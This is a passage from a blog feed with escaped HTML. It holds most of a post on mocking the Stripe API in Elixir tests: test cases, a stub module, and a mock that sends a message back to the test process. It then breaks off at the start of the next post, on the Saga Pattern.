&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;**&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;CompileError&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;cannot&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;compile&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;code&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;errors&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;have&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;been&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;logged&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We fix this error by defining the module during compile time using &lt;code&gt;Application.compile_env/2&lt;/code&gt;. Now, we can use &lt;code&gt;@stripe.Invoice.retrieve/1&lt;/code&gt; without error.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-tests&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-tests&quot;&gt;&lt;/a&gt;The Tests&lt;/h2&gt;
&lt;p&gt;Now that we have our mock in place, let&apos;s see how we can test against it. First, let&apos;s create some tests:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# test/my_app/invoices_test.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.InvoicesTest&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.DataCase&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;async: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Invoices&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;describe&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;get_invoice_url/1&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;returns an invoice url&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Invoices&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_invoice_url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;in_12345&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https://stripe.com/invoice/in_12345&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;returns an error if the API key misses permissions&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Invoices&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_invoice_url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;in_forbidden&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;message&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;The API key doesn’t have permissions to perform the request.&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We wrote two tests: one for the happy path and one for the error path. We instruct our mock which response to return using the invoice ID. Let&apos;s see how the mock looks like:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# test/support/stripe_mock.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Support.StripeMock&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Invoice&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #8b949e;&quot;&gt;# Used in test/my_app/invoices_test.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;retrieve&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;in_forbidden&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:error&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe.ApiErrors&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;message: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;The API key doesn’t have permissions to perform the request.&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;retrieve&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;invoice_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe.Invoice&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;hosted_invoice_url: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https://stripe.com/invoices/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;invoice_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The mock is pretty basic, but it allows us to mirror the module structure of the StripityStripe library and to return the expected Stripe structs based on the arguments we receive from the tests. I like to add a comment indicating which test uses a special case, like the &quot;in_forbidden&quot; case, to make it easier to connect the mock clause with the test file in which it is used.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#mocks-vs-stubs&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;mocks-vs-stubs&quot;&gt;&lt;/a&gt;Mocks vs Stubs&lt;/h2&gt;
&lt;p&gt;After I published this blog post, my good friend, Tobi Pfeiffer, pointed out that the &quot;Mock&quot; described above is actually a &quot;Stub&quot;. He was right, so let&apos;s understand why.&lt;/p&gt;
&lt;p&gt;The difference between a Mock and a Stub is subtle and frequently leads to confusion between the two. In essence, a Stub is a dumb replacement of your dependency that only returns expected responses. A Stub does not validate its input arguments and has no test assertions. Your test may not fail if the Stub isn&apos;t called at all.&lt;/p&gt;
&lt;p&gt;A Mock, on the other hand, contains validations that can fail your tests if not fulfilled. It may validate the input arguments and return responses based on some internal logic. It might also validate your business rules against the input arguments. Your test can expect the Mock to be called and fail if that doesn&apos;t happen. So, a Stub is a dumb replacement whereas a Mock is a replacement &quot;with an attitude&quot;, &lt;a href=&quot;https://x.com/PJUllrich/status/1849362138755678417&quot;&gt;as Tobi says&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Luckily, we won&apos;t have to change much to make our Stub a proper Mock. We&apos;ll use a nifty trick that Tobi shared with Devon Estes, &lt;a href=&quot;https://devonestes.com/my-new-favorite-elixir-testing-trick&quot;&gt;who kindly described it on his blog&lt;/a&gt;. The trick is to send a message from our Stub/Mock to our Test case with information about which function was called and with which arguments. Let&apos;s have a look at the new Mock+Test setup:&lt;/p&gt;
&lt;pre id=&quot;code-block-7&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# test/support/stripe_mock.ex&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Support.StripeMock&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Invoice&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;retrieve&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;invoice_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;self&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:retrieve&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;invoice_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Stripe.Invoice&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;hosted_invoice_url: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https://stripe.com/invoices/&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;#&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;invoice_id&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# test/my_app/invoices_test.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.InvoicesTest&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.DataCase&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;async: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;alias&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;MyApp.Invoices&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;describe&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;get_invoice_url/1&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;returns an invoice url&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:ok&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Invoices&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_invoice_url&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;in_12345&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;url&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;https://stripe.com/invoice/in_12345&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;      &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert_receive&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:retrieve&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;in_12345&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;24&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;25&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;26&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This clever technique of sending a message to the test case enables us to assert that the mock was called with the correct arguments. With just two lines of code, we transformed our dumb Stub into a slightly smarter Mock, as we now assert not only that the mock is called but also that it&apos;s called with the correct arguments.&lt;/p&gt;
&lt;p&gt;However, the real question remains unanswered: Will &quot;Well, actually&quot;-Tobi approve of this new implementation or not? We shall see 😬&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s really it. I use this pattern in all my projects and tend to replace existing mocks with it when possible. It&apos;s lightweight but expressive enough to support even large test suites. I like that I don&apos;t have to repeat the same mock setup over and over again for every test case and file as I have to with some mocking libraries. I define a mock once and can use it everywhere. I also like that the setup in my application code is a one-liner at the top of the file.&lt;/p&gt;
&lt;p&gt;I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/easy-mocking-in-elixir"/>
    <id>https://peterullrich.com/easy-mocking-in-elixir</id>
    <title>Easy Mocking in Elixir</title>
    <updated>2024-10-24T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome to another blog post! First, an excerpt from my life:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;A bike in town keeps running me over.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;It’s a vicious cycle.
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Alrighty, now let&apos;s dive into today&apos;s topic: Using the &lt;strong&gt;Saga Pattern&lt;/strong&gt; in Elixir.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
